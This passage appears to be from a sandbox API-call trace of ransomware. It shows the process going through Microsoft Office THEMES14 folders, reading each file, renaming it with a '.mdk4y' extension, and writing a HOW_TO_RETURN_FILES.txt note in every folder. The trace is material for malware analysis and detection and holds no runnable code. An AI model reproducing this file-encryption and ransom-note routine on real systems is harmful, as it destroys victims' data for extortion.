hFindFile=0x6ab350) returned 1 [0119.801] AreFileApisANSI () returned 1 [0119.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0119.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.802] GetFileType (hFile=0x130) returned 0x1 [0119.802] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.802] AreFileApisANSI () returned 1 [0119.802] GetACP () returned 0x4e4 [0119.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RADIAL", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RADIALE", lpUsedDefaultChar=0x37df4c) returned 6 [0119.803] AreFileApisANSI () returned 1 [0119.803] GetACP () returned 0x4e4 [0119.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\kƍ") returned 63 [0119.862] AreFileApisANSI () returned 1 [0119.863] GetACP () returned 0x4e4 [0119.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.863] AreFileApisANSI () returned 1 [0119.863] GetACP () returned 0x4e4 [0119.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.863] AreFileApisANSI () returned 1 [0119.863] GetACP () returned 0x4e4 [0119.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.863] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819509400000) returned 1 [0119.864] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x682, lpOverlapped=0x0) returned 1 [0119.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510100000) returned 1 [0119.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510100000) returned 1 [0119.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.mdk4y")) returned 1 [0119.872] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.872] AreFileApisANSI () returned 1 [0119.872] GetACP () returned 0x4e4 [0119.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RADIAL.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RADIAL.ELMF", lpUsedDefaultChar=0x37dec0) returned 10 [0119.872] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510200000) returned 1 [0119.872] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb75e, lpOverlapped=0x0) returned 1 [0119.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510300000) returned 1 [0119.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510300000) returned 1 [0119.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.mdk4y")) returned 1 [0119.874] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.874] AreFileApisANSI () returned 1 [0119.874] GetACP () returned 0x4e4 [0119.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RADIAL.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RADIAL.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0119.874] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510500000) returned 1 [0119.875] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24a, lpOverlapped=0x0) returned 1 [0119.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510500000) returned 1 [0119.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819510500000) returned 1 [0119.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.mdk4y")) returned 1 [0119.898] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.898] AreFileApisANSI () returned 1 [0119.898] GetACP () returned 0x4e4 [0119.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0119.898] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819512800000) returned 1 [0119.898] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c6b, lpOverlapped=0x0) returned 1 [0119.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819520700000) returned 1 [0119.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819520700000) returned 1 [0119.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.mdk4y")) returned 1 [0119.978] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0119.978] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0119.978] AreFileApisANSI () returned 1 [0119.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0119.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0119.979] GetFileType (hFile=0x130) returned 0x1 [0119.979] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0119.979] AreFileApisANSI () returned 1 [0119.979] GetACP () returned 0x4e4 [0119.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REFINED", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="REFINED", lpUsedDefaultChar=0x37df4c) returned 7 [0119.980] AreFileApisANSI () returned 1 [0119.980] GetACP () returned 0x4e4 [0119.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\7\r") returned 64 [0119.980] AreFileApisANSI () returned 1 [0119.980] GetACP () returned 0x4e4 [0119.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0119.980] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.980] AreFileApisANSI () returned 1 [0119.980] GetACP () returned 0x4e4 [0119.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0119.980] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.980] AreFileApisANSI () returned 1 [0119.980] GetACP () returned 0x4e4 [0119.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0119.980] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819521000000) returned 1 [0119.980] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x58f, lpOverlapped=0x0) returned 1 [0119.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522400000) returned 1 [0119.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522400000) returned 1 [0119.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.mdk4y")) returned 1 [0119.995] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.995] AreFileApisANSI () returned 1 [0119.995] GetACP () returned 0x4e4 [0119.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REFINED.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REFINED.ELM", lpUsedDefaultChar=0x37dec0) returned 11 [0119.995] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522500000) returned 1 [0119.995] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb30e, lpOverlapped=0x0) returned 1 [0119.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522600000) returned 1 [0119.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522600000) returned 1 [0119.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.mdk4y")) returned 1 [0119.998] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0119.998] AreFileApisANSI () returned 1 [0119.998] GetACP () returned 0x4e4 [0119.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REFINED.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REFINED.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0119.998] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0119.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522800000) returned 1 [0119.998] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24a, lpOverlapped=0x0) returned 1 [0119.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522900000) returned 1 [0119.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819522900000) returned 1 [0119.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.mdk4y")) returned 1 [0120.011] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.011] AreFileApisANSI () returned 1 [0120.011] GetACP () returned 0x4e4 [0120.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.011] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819524100000) returned 1 [0120.011] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d79, lpOverlapped=0x0) returned 1 [0120.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819528400000) returned 1 [0120.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819528400000) returned 1 [0120.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.mdk4y")) returned 1 [0120.055] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.055] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.056] AreFileApisANSI () returned 1 [0120.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0120.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.056] GetFileType (hFile=0x130) returned 0x1 [0120.057] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.057] AreFileApisANSI () returned 1 [0120.057] GetACP () returned 0x4e4 [0120.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RICEPAPR", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RICEPAPR", lpUsedDefaultChar=0x37df4c) returned 8 [0120.057] AreFileApisANSI () returned 1 [0120.057] GetACP () returned 0x4e4 [0120.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\") returned 65 [0120.064] AreFileApisANSI () returned 1 [0120.064] GetACP () returned 0x4e4 [0120.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.064] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.064] AreFileApisANSI () returned 1 [0120.064] GetACP () returned 0x4e4 [0120.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.064] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.064] AreFileApisANSI () returned 1 [0120.064] GetACP () returned 0x4e4 [0120.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.064] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819529400000) returned 1 [0120.064] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf82, lpOverlapped=0x0) returned 1 [0120.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819530800000) returned 1 [0120.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819530800000) returned 1 [0120.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.mdk4y")) returned 1 [0120.079] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.079] AreFileApisANSI () returned 1 [0120.079] GetACP () returned 0x4e4 [0120.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RICEPAPR.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RICEPAPR.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.079] CreateFileA 